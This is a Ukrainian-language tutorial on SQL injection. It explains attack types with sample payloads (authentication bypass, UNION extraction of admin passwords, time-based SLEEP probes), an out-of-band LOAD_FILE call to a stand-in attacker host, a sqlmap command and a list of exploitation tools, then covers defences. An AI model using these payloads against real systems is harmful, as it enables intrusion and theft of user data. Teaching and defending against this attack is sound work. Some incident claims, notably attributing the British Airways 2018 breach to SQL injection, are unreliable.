SQL Injection (SQLi): повний гайд, техніки атак, приклади експлуатації та методи захисту
SQL Injection (SQLi) — це один із найстаріших, але досі найнебезпечніших типів атак на веб-додатки.
Він дозволяє зловмиснику змінювати SQL-запити, виконувані сервером, отримувати доступ до бази даних, викрадати конфіденційну інформацію,
редагувати або видаляти таблиці, обходити авторизацію або навіть отримувати повний контроль над сервером.
Хоч цю уразливість вперше описали ще у 1998 році, вона залишається в OWASP Top 10 та
використовується в більшості реальних атак. Незахищений ввід користувача, слабка логіка запитів або неправильна фільтрація
можуть миттєво перетворити сайт на вхідну точку для повного зламу організації.
1. Що таке SQL Injection?
SQL Injection — це техніка атаки, коли зловмисник вставляє або «впорскує» шкідливі SQL-команди у поля вводу веб-додатку,
змінюючи структуру оригінального запиту. Це дозволяє атакувальнику виконати довільні команди в базі даних.
Простий приклад:
SELECT * FROM users WHERE username = '$user' AND password = '$pass';
Якщо додаток не фільтрує дані, атакувальник може ввести у поле username таке:
' OR '1'='1
Тоді запит перетвориться на:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';
Умови стають завжди істинними — атакувальник входить у систему без пароля.
2. Основні види SQL Injection
SQLi поділяють на три глобальні категорії:
- In-band SQLi — результат повертається у тому ж каналі.
- Blind SQLi — результат прямо не видно, треба аналізувати поведінку серверу.
- Out-of-band SQLi — сервер відправляє дані на інші ресурси (DNS, HTTP).
3. In-Band SQL Injection (Classic SQLi)
Це найпоширеніший і найпростіший тип SQLi. Зловмисник одразу отримує відповіді з бази даних у браузері —
це дозволяє проводити атаку швидко та ефективно.
3.1. Error-Based SQL Injection
Сервер повертає помилки SQL, які допомагають зловмиснику побачити структуру бази.
Приклад payload’а:
' OR 1=1 --
Або:
' ORDER BY 10 --
Якщо запит викликає помилку, хакер дізнається, скільки колонок у таблиці, які типи даних використовуються,
чи є прив’язка до конкретного драйвера (MySQL, PostgreSQL, MSSQL).
3.2. Union-Based SQL Injection
Атакувальник додає власний SELECT через оператор UNION, щоб витягнути дані з інших таблиць.
Приклад:
' UNION SELECT username, password FROM admin --
Таким чином можна отримати список логінів, хеши паролів, токени, дані клієнтів, банківську інформацію
і будь-який інший контент, який зберігається в таблицях.
3.3. Boolean-Based SQLi
Результат запиту не видно, але можна використовувати логічні вирази.
Приклад:
?id=1' AND 1=1 -- ?id=1' AND 1=2 --
Хакер спостерігає, чи змінюється відображення сторінки.
3.4. Time-Based SQLi
Якщо відповіді немає, можна використовувати затримку, щоб отримати інформацію по часу.
Приклад:
' OR IF(1=1, SLEEP(5), 0) --
Якщо сторінка зависає на 5 секунд — умова істинна. Так можна отримати текстові дані по символах.
4. Blind SQL Injection
Blind SQLi — найскладніший, але дуже поширений тип атаки, коли сайт не повертає помилок або відповідей із бази.
Використовуються такі техніки:
- Boolean-based blind
- Time-based blind
- Heavy queries (повільні запити)
- Витягування даних посимвольно
Навіть якщо сайт не показує жодної помилки, атакувальник може повністю зламати базу даних, створивши тисячі
тестових запитів.
5. Out-of-Band SQL Injection
Використовується, коли сервер не показує відповіді та не змінює поведінку, але дозволяє робити зовнішні запити.
Приклад атаки (MySQL):
LOAD_FILE('\\\\attacker.com\\x')
Запит надсилає DNS або SMB-пакет на сервер хакера, розкриваючи вміст таблиці. Це працює, коли база має доступ до інтернету.
6. Приклади небезпечних SQL-запитів
6.1. Небезпечний логін
$query = "SELECT * FROM users WHERE username='$user' AND password='$pass'";
6.2. Небезпечний пошук
$query = "SELECT * FROM products WHERE name LIKE '%$search%'";
6.3. Небезпечний фільтр за ID
$query = "SELECT * FROM orders WHERE id=" . $_GET['id'];
Усі ці приклади легко експлуатуються.
7. Реальні наслідки SQLi
Атака SQL Injection може мати катастрофічні наслідки. Ось основні та найпоширеніші:
- Витік бази даних — персональні дані, паролі, документи, фінанси.
- Зміна або видалення даних — до тотального руйнування таблиць.
- Отримання shell-доступу — уразливі бази дозволяють виконувати системні команди.
- Обхід авторизації — вхід у будь-який аккаунт без пароля.
- Escalation attack — повний контроль над сервером компанії.
- Шкідливі оновлення через зміну конфігів і налаштувань.
- Ransomware, якщо зловмисник отримав доступ до важливих таблиць.
8. Інструменти для експлуатації SQLi
8.1. SQLmap
Найпотужніший фреймворк для автоматизації SQL Injection.
sqlmap -u "http://site.com?id=1" --dbs
8.2. Havij
Старий, але ще використовуваний GUI-інструмент.
8.3. jSQL
8.4. NoSQLmap
Для атак на MongoDB, CouchDB тощо.
8.5. Burp Suite
Застосовується для ручного тестування.
9. Як захищати веб-додатки від SQL Injection?
9.1. Підготовлені запити (Prepared Statements)
Найефективніший захист:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$user]);
9.2. Використання ORM (Eloquent, SQLAlchemy)
Автоматично захищає від SQLi, виконуючи параметризацію.
9.3. Валідація та санітизація введення
- Дозволяйте тільки очікувані символи.
- Забороняйте метасимволи SQL.
- Перевіряйте типи даних (INTEGER, DATE).
9.4. Обмеження прав користувача бази
Додаток не повинен працювати від імені root або superuser.
9.5. Використання WAF
Захищає від відомих payload’ів.
9.6. Вимкнення повідомлень про помилки SQL
Ніколи не показуйте користувачам внутрішні помилки.
10. SQL Injection у реальних інцидентах
10.1. Злам Sony Pictures (2011)
Хакери витягнули всю базу даних через SQLi, що призвело до глобального витоку персональних даних.
10.2. British Airways (2018)
SQLi став частиною складної APT-атаки, яка коштувала компанії понад 183 млн фунтів.
10.3. Zappos
Компрометація 24 млн акаунтів.
SQLi завжди залишається одним з найпопулярніших векторів атак.
11. Висновок
SQL Injection — це не просто стара та відома уразливість. Це потужна і, на жаль, дуже поширена техніка
зламу, яка дозволяє атакувальникам швидко та повністю отримати контроль над веб-додатком та всією базою даних.
Незалежно від того, працює ваша система на MySQL, PostgreSQL, Oracle або MSSQL — будь-яка недбало
оброблена змінна може перетворитися на критичний ризик.
Захист від SQLi вимагає культури безпечного програмування: підготовлені запити, параметризація,
валідна логіка, моніторинг, обмеження прав і регулярне тестування на уразливості.
Тільки системний підхід дозволить вам уникнути катастрофічних наслідків і захистити свій проєкт від
однієї з найнебезпечніших атак у світі кібербезпеки.